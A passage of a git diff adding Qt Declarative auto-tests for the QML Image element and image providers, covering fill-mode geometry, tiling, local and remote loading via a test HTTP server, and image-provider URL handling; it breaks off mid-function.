+ QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200-win32.png"));
+#endif
+ delete obj;
+}
+
+void tst_qdeclarativeimage::geometry_data()
+{
+ QTest::addColumn<QString>("fillMode");
+ QTest::addColumn<bool>("explicitWidth");
+ QTest::addColumn<bool>("explicitHeight");
+ QTest::addColumn<double>("itemWidth");
+ QTest::addColumn<double>("paintedWidth");
+ QTest::addColumn<double>("boundingWidth");
+ QTest::addColumn<double>("itemHeight");
+ QTest::addColumn<double>("paintedHeight");
+ QTest::addColumn<double>("boundingHeight");
+
+ // tested image has width 200, height 100
+
+ // bounding rect and item rect are equal with fillMode PreserveAspectFit, painted rect may be smaller if the aspect ratio doesn't match
+ QTest::newRow("PreserveAspectFit") << "PreserveAspectFit" << false << false << 200.0 << 200.0 << 200.0 << 100.0 << 100.0 << 100.0;
+ QTest::newRow("PreserveAspectFit explicit width 300") << "PreserveAspectFit" << true << false << 300.0 << 200.0 << 300.0 << 100.0 << 100.0 << 100.0;
+ QTest::newRow("PreserveAspectFit explicit height 400") << "PreserveAspectFit" << false << true << 200.0 << 200.0 << 200.0 << 400.0 << 100.0 << 400.0;
+ QTest::newRow("PreserveAspectFit explicit width 300, height 400") << "PreserveAspectFit" << true << true << 300.0 << 300.0 << 300.0 << 400.0 << 150.0 << 400.0;
+
+ // bounding rect and painted rect are equal with fillMode PreserveAspectCrop, item rect may be smaller if the aspect ratio doesn't match
+ QTest::newRow("PreserveAspectCrop") << "PreserveAspectCrop" << false << false << 200.0 << 200.0 << 200.0 << 100.0 << 100.0 << 100.0;
+ QTest::newRow("PreserveAspectCrop explicit width 300") << "PreserveAspectCrop" << true << false << 300.0 << 300.0 << 300.0 << 100.0 << 150.0 << 150.0;
+ QTest::newRow("PreserveAspectCrop explicit height 400") << "PreserveAspectCrop" << false << true << 200.0 << 800.0 << 800.0 << 400.0 << 400.0 << 400.0;
+ QTest::newRow("PreserveAspectCrop explicit width 300, height 400") << "PreserveAspectCrop" << true << true << 300.0 << 800.0 << 800.0 << 400.0 << 400.0 << 400.0;
+
+ // bounding rect, painted rect and item rect are equal in stretching and tiling images
+ QStringList fillModes;
+ fillModes << "Stretch" << "Tile" << "TileVertically" << "TileHorizontally";
+ foreach (QString fillMode, fillModes) {
+ QTest::newRow(fillMode.toLatin1()) << fillMode << false << false << 200.0 << 200.0 << 200.0 << 100.0 << 100.0 << 100.0;
+ QTest::newRow(QString(fillMode + " explicit width 300").toLatin1()) << fillMode << true << false << 300.0 << 300.0 << 300.0 << 100.0 << 100.0 << 100.0;
+ QTest::newRow(QString(fillMode + " explicit height 400").toLatin1()) << fillMode << false << true << 200.0 << 200.0 << 200.0 << 400.0 << 400.0 << 400.0;
+ QTest::newRow(QString(fillMode + " explicit width 300, height 400").toLatin1()) << fillMode << true << true << 300.0 << 300.0 << 300.0 << 400.0 << 400.0 << 400.0;
+ }
+}
+
+void tst_qdeclarativeimage::geometry()
+{
+ QFETCH(QString, fillMode);
+ QFETCH(bool, explicitWidth);
+ QFETCH(bool, explicitHeight);
+ QFETCH(double, itemWidth);
+ QFETCH(double, itemHeight);
+ QFETCH(double, paintedWidth);
+ QFETCH(double, paintedHeight);
+ QFETCH(double, boundingWidth);
+ QFETCH(double, boundingHeight);
+
+ QString src = QUrl::fromLocalFile(SRCDIR "/data/rect.png").toString();
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; fillMode: Image." + fillMode + "; ";
+
+ if (explicitWidth)
+ componentStr.append("width: 300; ");
+ if (explicitHeight)
+ componentStr.append("height: 400; ");
+ componentStr.append("}");
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->width(), itemWidth);
+ QCOMPARE(obj->paintedWidth(), paintedWidth);
+ QCOMPARE(obj->boundingRect().width(), boundingWidth);
+
+ QCOMPARE(obj->height(), itemHeight);
+ QCOMPARE(obj->paintedHeight(), paintedHeight);
+ QCOMPARE(obj->boundingRect().height(), boundingHeight);
+ delete obj;
+}
+
+void tst_qdeclarativeimage::big()
+{
+ // If the JPEG loader does not implement scaling efficiently, it would
+ // have to build a 400 MB image. That would be a bug in the JPEG loader.
+
+ QString src = QUrl::fromLocalFile(SRCDIR "/data/big.jpeg").toString();
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; width: 100; sourceSize.height: 256 }";
+
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->pixmap().width(), 256);
+ QCOMPARE(obj->pixmap().height(), 256);
+ QCOMPARE(obj->width(), 100.0);
+ QCOMPARE(obj->height(), 256.0);
+ QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/big256.png"));
+
+ delete obj;
+}
+
+void tst_qdeclarativeimage::tiling_QTBUG_6716()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/tiling.qml"));
+ canvas->show();
+ qApp->processEvents();
+
+ QDeclarativeImage *vTiling = findItem<QDeclarativeImage>(canvas->rootObject(), "vTiling");
+ QDeclarativeImage *hTiling = findItem<QDeclarativeImage>(canvas->rootObject(), "hTiling");
+
+ QVERIFY(vTiling != 0);
+ QVERIFY(hTiling != 0);
+
+ {
+ QPixmap pm(vTiling->width(), vTiling->height());
+ QPainter p(&pm);
+ vTiling->paint(&p, 0, 0);
+
+ QImage img = pm.toImage();
+ for (int x = 0; x < vTiling->width(); ++x) {
+ for (int y = 0; y < vTiling->height(); ++y) {
+ QVERIFY(img.pixel(x, y) == qRgb(0, 255, 0));
+ }
+ }
+ }
+
+ {
+ QPixmap pm(hTiling->width(), hTiling->height());
+ QPainter p(&pm);
+ hTiling->paint(&p, 0, 0);
+
+ QImage img = pm.toImage();
+ for (int x = 0; x < hTiling->width(); ++x) {
+ for (int y = 0; y < hTiling->height(); ++y) {
+ QVERIFY(img.pixel(x, y) == qRgb(0, 255, 0));
+ }
+ }
+ }
+}
+
+void tst_qdeclarativeimage::noLoading()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+ server.addRedirect("oldcolors.png", SERVER_ADDR "/colors.png");
+
+ QString componentStr = "import QtQuick 1.0\nImage { source: srcImage }";
+ QDeclarativeContext *ctxt = engine.rootContext();
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/heart.png"));
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QVERIFY(obj->status() == QDeclarativeImage::Ready);
+
+ QSignalSpy sourceSpy(obj, SIGNAL(sourceChanged(const QUrl &)));
+ QSignalSpy progressSpy(obj, SIGNAL(progressChanged(qreal)));
+ QSignalSpy statusSpy(obj, SIGNAL(statusChanged(QDeclarativeImageBase::Status)));
+
+ // Loading local file
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.png"));
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Ready);
+ QTRY_VERIFY(obj->progress() == 1.0);
+ QTRY_COMPARE(sourceSpy.count(), 1);
+ QTRY_COMPARE(progressSpy.count(), 0);
+ QTRY_COMPARE(statusSpy.count(), 0);
+
+ // Loading remote file
+ ctxt->setContextProperty("srcImage", QString(SERVER_ADDR) + "/heart200.png");
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading);
+ QTRY_VERIFY(obj->progress() == 0.0);
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Ready);
+ QTRY_VERIFY(obj->progress() == 1.0);
+ QTRY_COMPARE(sourceSpy.count(), 2);
+ QTRY_COMPARE(progressSpy.count(), 2);
+ QTRY_COMPARE(statusSpy.count(), 2);
+
+ // Loading remote file again - should not go through 'Loading' state.
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.png"));
+ ctxt->setContextProperty("srcImage", QString(SERVER_ADDR) + "/heart200.png");
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Ready);
+ QTRY_VERIFY(obj->progress() == 1.0);
+ QTRY_COMPARE(sourceSpy.count(), 4);
+ QTRY_COMPARE(progressSpy.count(), 2);
+ QTRY_COMPARE(statusSpy.count(), 2);
+}
+
+void tst_qdeclarativeimage::paintedWidthHeight()
+{
+ {
+ QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.png").toString();
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; width: 200; height: 25; fillMode: Image.PreserveAspectFit }";
+
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->pixmap().width(), 300);
+ QCOMPARE(obj->pixmap().height(), 300);
+ QCOMPARE(obj->width(), 200.0);
+ QCOMPARE(obj->height(), 25.0);
+ QCOMPARE(obj->paintedWidth(), 25.0);
+ QCOMPARE(obj->paintedHeight(), 25.0);
+ QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png"));
+
+ delete obj;
+ }
+
+ {
+ QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.png").toString();
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; width: 26; height: 175; fillMode: Image.PreserveAspectFit }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->pixmap().width(), 300);
+ QCOMPARE(obj->pixmap().height(), 300);
+ QCOMPARE(obj->width(), 26.0);
+ QCOMPARE(obj->height(), 175.0);
+ QCOMPARE(obj->paintedWidth(), 26.0);
+ QCOMPARE(obj->paintedHeight(), 26.0);
+ QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png"));
+
+ delete obj;
+ }
+}
+
+void tst_qdeclarativeimage::sourceSize_QTBUG_14303()
+{
+ QString componentStr = "import QtQuick 1.0\nImage { source: srcImage }";
+ QDeclarativeContext *ctxt = engine.rootContext();
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/heart200.png"));
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+
+ QSignalSpy sourceSizeSpy(obj, SIGNAL(sourceSizeChanged()));
+
+ QTRY_VERIFY(obj != 0);
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Ready);
+
+ QTRY_COMPARE(obj->sourceSize().width(), 200);
+ QTRY_COMPARE(obj->sourceSize().height(), 200);
+ QTRY_COMPARE(sourceSizeSpy.count(), 0);
+
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.png"));
+ QTRY_COMPARE(obj->sourceSize().width(), 120);
+ QTRY_COMPARE(obj->sourceSize().height(), 120);
+ QTRY_COMPARE(sourceSizeSpy.count(), 1);
+
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/heart200.png"));
+ QTRY_COMPARE(obj->sourceSize().width(), 200);
+ QTRY_COMPARE(obj->sourceSize().height(), 200);
+ QTRY_COMPARE(sourceSizeSpy.count(), 2);
+}
+
+void tst_qdeclarativeimage::sourceSize_QTBUG_16389()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/qtbug_16389.qml"));
+ canvas->show();
+ qApp->processEvents();
+
+ QDeclarativeImage *image = findItem<QDeclarativeImage>(canvas->rootObject(), "iconImage");
+ QDeclarativeItem *handle = findItem<QDeclarativeItem>(canvas->rootObject(), "blueHandle");
+
+ QCOMPARE(image->sourceSize().width(), 200);
+ QCOMPARE(image->sourceSize().height(), 200);
+ QCOMPARE(image->paintedWidth(), 0.0);
+ QCOMPARE(image->paintedHeight(), 0.0);
+
+ handle->setY(20);
+
+ QCOMPARE(image->sourceSize().width(), 200);
+ QCOMPARE(image->sourceSize().height(), 200);
+ QCOMPARE(image->paintedWidth(), 20.0);
+ QCOMPARE(image->paintedHeight(), 20.0);
+}
+
+static int numberOfWarnings = 0;
+static void checkWarnings(QtMsgType, const char *)
+{
+ numberOfWarnings++;
+}
+
+// QTBUG-15690
+void tst_qdeclarativeimage::nullPixmapPaint()
+{
+ QString componentStr = QString("import QtQuick 1.0\nImage { width: 10; height:10; fillMode: Image.PreserveAspectFit; source: \"")
+ + SERVER_ADDR + QString("/no-such-file.png\" }");
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *image = qobject_cast<QDeclarativeImage*>(component.create());
+
+ QTRY_VERIFY(image != 0);
+
+ QtMsgHandler previousMsgHandler = qInstallMsgHandler(checkWarnings);
+
+ QPixmap pm(100, 100);
+ QPainter p(&pm);
+
+ // used to print "QTransform::translate with NaN called"
+ image->paint(&p, 0, 0);
+ qInstallMsgHandler(previousMsgHandler);
+ QVERIFY(numberOfWarnings == 0);
+ delete image;
+}
+
+void tst_qdeclarativeimage::resetSourceSize()
+{
+ QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString();
+ QString componentStr = "import QtQuick 1.1\nImage { function reset() { sourceSize = undefined }\nsource: \"" + src + "\"; sourceSize: Qt.size(100,100) }";
+
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->pixmap().width(), 100);
+ QCOMPARE(obj->pixmap().height(), 100);
+ QCOMPARE(obj->sourceSize().height(), 100);
+ QCOMPARE(obj->sourceSize().width(), 100);
+
+ QMetaObject::invokeMethod(obj, "reset");
+ QCOMPARE(obj->pixmap().width(), 200);
+ QCOMPARE(obj->pixmap().height(), 200);
+ QCOMPARE(obj->sourceSize().height(), 200);
+ QCOMPARE(obj->sourceSize().width(), 200);
+}
+
+void tst_qdeclarativeimage::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Image { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Image { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativeimage::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("mirror") << "mirror: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Image.mirror\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("cache") << "cache: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Image.cache\" is not available in QtQuick 1.0.\n";
+}
+
+void tst_qdeclarativeimage::readerCrash_QTBUG_22125()
+{
+ {
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data/", TestHTTPServer::Delay);
+
+ {
+ QDeclarativeView view(QUrl::fromLocalFile(SRCDIR "/data/qtbug_22125.qml"));
+ view.show();
+ qApp->processEvents();
+ qApp->processEvents();
+ // shouldn't crash when the view drops out of scope due to
+ // QDeclarativePixmapData attempting to dereference a pointer to
+ // the destroyed reader.
+ }
+
+ // shouldn't crash when deleting cancelled QDeclarativePixmapReplys.
+ QTest::qWait(1000);
+ qApp->processEvents(QEventLoop::DeferredDeletion);
+ }
+
+ {
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data/");
+
+ {
+ QDeclarativeView view(QUrl::fromLocalFile(SRCDIR "/data/qtbug_22125.qml"));
+ view.show();
+ qApp->processEvents();
+ QTest::qWait(1000);
+ qApp->processEvents();
+ // shouldn't crash when the view drops out of scope due to
+ // the reader thread accessing self-deleted QDeclarativePixmapReplys.
+ }
+ qApp->processEvents();
+ }
+}
+
+/*
+ Find an item with the specified objectName. If index is supplied then the
+ item must also evaluate the {index} expression equal to index
+*/
+template<typename T>
+T *tst_qdeclarativeimage::findItem(QGraphicsObject *parent, const QString &objectName, int index)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->childItems().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ if (index != -1) {
+ QDeclarativeExpression e(qmlContext(item), item, "index");
+ if (e.evaluate().toInt() == index)
+ return static_cast<T*>(item);
+ } else {
+ return static_cast<T*>(item);
+ }
+ }
+ item = findItem<T>(item, objectName, index);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+QTEST_MAIN(tst_qdeclarativeimage)
+
+#include "tst_qdeclarativeimage.moc"
diff --git a/tests/auto/declarative/qdeclarativeimageprovider/qdeclarativeimageprovider.pro b/tests/auto/declarative/qdeclarativeimageprovider/qdeclarativeimageprovider.pro
new file mode 100644
index 00000000..3bf0ea13
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimageprovider/qdeclarativeimageprovider.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+QT += network
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeimageprovider.cpp
+
+# QMAKE_CXXFLAGS = -fprofile-arcs -ftest-coverage
+# LIBS += -lgcov
+
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp
new file mode 100644
index 00000000..b2e5c4e2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp
@@ -0,0 +1,432 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QtTest>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeimageprovider.h>
+#include <private/qdeclarativeimage_p.h>
+#include <QImageReader>
+#include <QWaitCondition>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+Q_DECLARE_METATYPE(QDeclarativeImageProvider*);
+
+class tst_qdeclarativeimageprovider : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeimageprovider()
+ {
+ }
+
+private slots:
+ void requestImage_sync_data();
+ void requestImage_sync();
+ void requestImage_async_data();
+ void requestImage_async();
+
+ void requestPixmap_sync_data();
+ void requestPixmap_sync();
+ void requestPixmap_async();
+
+ void removeProvider_data();
+ void removeProvider();
+
+ void threadTest();
+
+private:
+ QString newImageFileName() const;
+ void fillRequestTestsData(const QString &id);
+ void runTest(bool async, QDeclarativeImageProvider *provider);
+};
+
+
+class TestQImageProvider : public QDeclarativeImageProvider
+{
+public:
+ TestQImageProvider(bool *deleteWatch = 0)
+ : QDeclarativeImageProvider(Image), deleteWatch(deleteWatch)
+ {
+ }
+
+ ~TestQImageProvider()
+ {
+ if (deleteWatch)
+ *deleteWatch = true;
+ }
+
+ QImage requestImage(const QString &id, QSize *size, const QSize& requestedSize)
+ {
+ lastImageId = id;
+
+ if (id == QLatin1String("no-such-file.png"))
+ return QImage();
+
+ int width = 100;
+ int height = 100;
+ QImage image(width, height, QImage::Format_RGB32);
+ if (size)
+ *size = QSize(width, height);
+ if (requestedSize.isValid())
+ image = image.scaled(requestedSize);
+ return image;
+ }
+
+ bool *deleteWatch;
+ QString lastImageId;
+};
+Q_DECLARE_METATYPE(TestQImageProvider*);
+
+
+class TestQPixmapProvider : public QDeclarativeImageProvider
+{
+public:
+ TestQPixmapProvider(bool *deleteWatch = 0)
+ : QDeclarativeImageProvider(Pixmap), deleteWatch(deleteWatch)
+ {
+ }
+
+ ~TestQPixmapProvider()
+ {
+ if (deleteWatch)
+ *deleteWatch = true;
+ }
+
+ QPixmap requestPixmap(const QString &id, QSize *size, const QSize& requestedSize)
+ {
+ lastImageId = id;
+
+ if (id == QLatin1String("no-such-file.png"))
+ return QPixmap();
+
+ int width = 100;
+ int height = 100;
+ QPixmap image(width, height);
+ if (size)
+ *size = QSize(width, height);
+ if (requestedSize.isValid())
+ image = image.scaled(requestedSize);
+ return image;
+ }
+
+ bool *deleteWatch;
+ QString lastImageId;
+};
+Q_DECLARE_METATYPE(TestQPixmapProvider*);
+
+
+QString tst_qdeclarativeimageprovider::newImageFileName() const
+{
+ // need to generate new filenames each time or else images are loaded
+ // from cache and we won't get loading status changes when testing
+ // async loading
+ static int count = 0;
+ return QString("image://test/image-%1.png").arg(count++);
+}
+
+void tst_qdeclarativeimageprovider::fillRequestTestsData(const QString &id)
+{
+ QTest::addColumn<QString>("source");
+ QTest::addColumn<QString>("imageId");
+ QTest::addColumn<QString>("properties");
+ QTest::addColumn<QSize>("size");
+ QTest::addColumn<QString>("error");
+
+ QString fileName = newImageFileName();
+ QTest::newRow(QTest::toString(id + " simple test"))
+ << "image://test/" + fileName << fileName << "" << QSize(100,100) << "";
+
+ fileName = newImageFileName();
+ QTest::newRow(QTest::toString(id + " simple test with capitalization"))//As it's a URL, should make no difference
+ << "image://Test/" + fileName << fileName << "" << QSize(100,100) << "";
+
+ fileName = newImageFileName();
+ QTest::newRow(QTest::toString(id + " url with no id"))
+ << "image://test/" + fileName << "" + fileName << "" << QSize(100,100) << "";
+
+ fileName = newImageFileName();
+ QTest::newRow(QTest::toString(id + " url with path"))
+ << "image://test/test/path" + fileName << "test/path" + fileName << "" << QSize(100,100) << "";
+
+ fileName = newImageFileName();
+ QTest::newRow(QTest::toString(id + " url with fragment"))
+ << "image://test/faq.html?#question13" + fileName << "faq.html?#question13" + fileName << "" << QSize(100,100) << "";
+
+ fileName = newImageFileName();
+ QTest::newRow(QTest::toString(id + " url with query"))
+ << "image://test/cgi-bin/drawgraph.cgi?type=pie&color=green" + fileName << "cgi-bin/drawgraph.cgi?type=pie&color=green" + fileName
+ << "" << QSize(100,100) << "";
+
+ fileName = newImageFileName();
+ QTest::newRow(QTest::toString(id + " scaled image"))
+ << "image://test/" + fileName << fileName << "sourceSize: \"80x30\"" << QSize(80,30) << "";
+
+ QTest::newRow(QTest::toString(id + " missing"))
+ << "image://test/no-such-file.png" << "no-such-file.png" << "" << QSize(100,100)
+ << "file::2:1: QML Image: Failed to get image from provider: image://test/no-such-file.png";
+
+ QTest::newRow(QTest::toString(id + " unknown provider"))
+ << "image://bogus/exists.png" << "" << "" << QSize()
+ << "file::2:1: QML Image: Failed to get image from provider: image://bogus/exists.png";
+}
+
+void tst_qdeclarativeimageprovider::runTest(bool async, QDeclarativeImageProvider *provider)
+{
+ QFETCH(QString, source);
+ QFETCH(QString, imageId);
+ QFETCH(QString, properties);
+ QFETCH(QSize, size);
+ QFETCH(QString, error);
+
+ if (!error.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, error.toUtf8());
+
+ QDeclarativeEngine engine;
+
+ engine.addImageProvider("test", provider);
+ QVERIFY(engine.imageProvider("test") != 0);
+
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; "
+ + (async ? "asynchronous: true; " : "")
+ + properties + " }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ if (async)
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading);
+
+ QCOMPARE(obj->source(), QUrl(source));
+
+ if (error.isEmpty()) {
+ if (async)
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Ready);
+ else
+ QVERIFY(obj->status() == QDeclarativeImage::Ready);
+ if (QByteArray(QTest::currentDataTag()).startsWith("qimage"))
+ QCOMPARE(static_cast<TestQImageProvider*>(provider)->lastImageId, imageId);
+ else
+ QCOMPARE(static_cast<TestQPixmapProvider*>(provider)->lastImageId, imageId);
+
+ QCOMPARE(obj->width(), qreal(size.width()));
+ QCOMPARE(obj->height(), qreal(size.height()));
+ QCOMPARE(obj->pixmap().width(), size.width());
+ QCOMPARE(obj->pixmap().height(), size.height());
+ QCOMPARE(obj->fillMode(), QDeclarativeImage::Stretch);
+ QCOMPARE(obj->progress(), 1.0);
+ } else {
+ if (async)
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Error);
+ else
+ QVERIFY(obj->status() == QDeclarativeImage::Error);
+ }
+
+ delete obj;
+}
+
+void tst_qdeclarativeimageprovider::requestImage_sync_data()
+{
+ fillRequestTestsData("qimage|sync");
+}
+
+void tst_qdeclarativeimageprovider::requestImage_sync()
+{
+ bool deleteWatch = false;
+ runTest(false, new TestQImageProvider(&deleteWatch));
+ QVERIFY(deleteWatch);
+}
+
+void tst_qdeclarativeimageprovider::requestImage_async_data()
+{
+ fillRequestTestsData("qimage|async");
+}
+
+void tst_qdeclarativeimageprovider::requestImage_async()
+{
+ bool deleteWatch = false;
+ runTest(true, new TestQImageProvider(&deleteWatch));
+ QVERIFY(deleteWatch);
+}
+
+void tst_qdeclarativeimageprovider::requestPixmap_sync_data()
+{
+ fillRequestTestsData("qpixmap");
+}
+
+void tst_qdeclarativeimageprovider::requestPixmap_sync()
+{
+ bool deleteWatch = false;
+ runTest(false, new TestQPixmapProvider(&deleteWatch));
+ QVERIFY(deleteWatch);
+}
+
+void tst_qdeclarativeimageprovider::requestPixmap_async()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeImageProvider *provider = new TestQPixmapProvider();
+
+ engine.addImageProvider("test", provider);
+ QVERIFY(engine.imageProvider("test") != 0);
+
+ // pixmaps are loaded synchronously regardless of 'asynchronous' value
+ QString componentStr = "import QtQuick 1.0\nImage { asynchronous: true; source: \"image://test/pixmap-async-test.png\" }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ delete obj;
+}
+
+void tst_qdeclarativeimageprovider::removeProvider_data()
+{
+ QTest::addColumn<QDeclarativeImageProvider*>("provider");
+
+ QTest::newRow("qimage") << static_cast<QDeclarativeImageProvider*>(new TestQImageProvider);
+ QTest::newRow("qpixmap") << static_cast<QDeclarativeImageProvider*>(new TestQPixmapProvider);
+}
+
+void tst_qdeclarativeimageprovider::removeProvider()
+{
+ QFETCH(QDeclarativeImageProvider*, provider);
+
+ QDeclarativeEngine engine;
+
+ engine.addImageProvider("test", provider);
+ QVERIFY(engine.imageProvider("test") != 0);
+
+ // add provider, confirm it works
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"" + newImageFileName() + "\" }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->status(), QDeclarativeImage::Ready);
+
+ // remove the provider and confirm
+ QString fileName = newImageFileName();
